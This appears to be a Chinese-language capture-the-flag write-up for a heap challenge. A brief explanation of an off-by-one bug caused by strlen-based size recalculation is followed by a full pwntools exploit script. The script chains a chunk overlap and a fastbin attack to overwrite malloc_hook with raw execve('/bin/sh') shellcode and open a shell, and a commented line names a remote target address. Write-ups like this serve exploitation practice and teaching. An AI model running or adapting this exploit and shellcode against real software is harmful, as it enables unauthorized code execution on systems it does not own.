静态编译的 off by one 堆题 保护全关 没有 show 功能 应该是在 libc-2.23 下编译的题目,不能使用 tcache bin
在 edit 功能中
chunk 的 size 会根据 strlen 函数而修改,那么如果我们将下一个相邻的 chunk 的 prev size 填满,那么 strlen 计算的时候就会算上下一个相邻 chunk 的 size 头,就会造成 off by one 漏洞了。
简单利用 off by one 来 chunk overlap,修改 malloc_hook,并且填入 shellcode 执行。
注意使用 pwntools 生成 shellcode 会不能完全写入。
from pwn import * from struct import pack from ctypes import * #from LibcSearcher import * def s(a) : p.send(a) def sa(a, b) : p.sendafter(a, b) def sl(a) : p.sendline(a) def sla(a, b) : p.sendlineafter(a, b) def r() : return p.recv() def pr() : print(p.recv()) def rl(a) : return p.recvuntil(a) def inter() : p.interactive() def debug(): gdb.attach(p) pause() def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def csu(rdi, rsi, rdx, rbp, rip, gadget) : return p64(gadget) + p64(0) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(rip) + p64(gadget - 0x1a) context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('1.14.71.254', 28566) elf = ELF('./pwn') libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6') def add(size, data = b'a'): sla(b'4. Exit\n-----------------\n', b'1') sla(b'Size:\n', str(size)) sla(b'Note:\n', data) def free(idx): sla(b'4. Exit\n-----------------\n', b'2') sla(b'Note:\n', str(idx)) def edit(idx, data): sla(b'4. Exit\n-----------------\n', b'3') sla(b'Note:\n', str(idx)) sla(b'Note:\n', data) malloc_hook = 0x6CB788 free_hook = 0x6CD5E8 rdi = 0x401b16 rdx = 0x443606 rsi = 0x401c37 rsp = 0x40060b rax_rdx_rbx = 0x478e06 rdx_rsi = 0x443629 ret = 0x4002e1 buf = 0x6cd63d # off by one -> chunk overlap add(0x18) #index 0 add(0x10) #index 1 add(0x30) #index 2 add(0x10) #index 3 add(0x30) #Index 4 edit(0, b'a'*0x18) edit(0, b'a'*0x18 + p8(0x61)) free(4) free(2) free(1) # tow fastbin attack add(0x50, p64(0)*3 + p64(0x41) + p64(malloc_hook - 0x16)) # change malloc_hook shellcode = b'\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05' add(0x30) add(0x30, b'\x00'*6 + p64(malloc_hook + 8) + shellcode) #gdb.attach(p, 'b *0x400bf8') sla(b'4. Exit\n-----------------\n', b'1') sla(b'Size:\n', str(0x10)) #pause() inter() #debug()
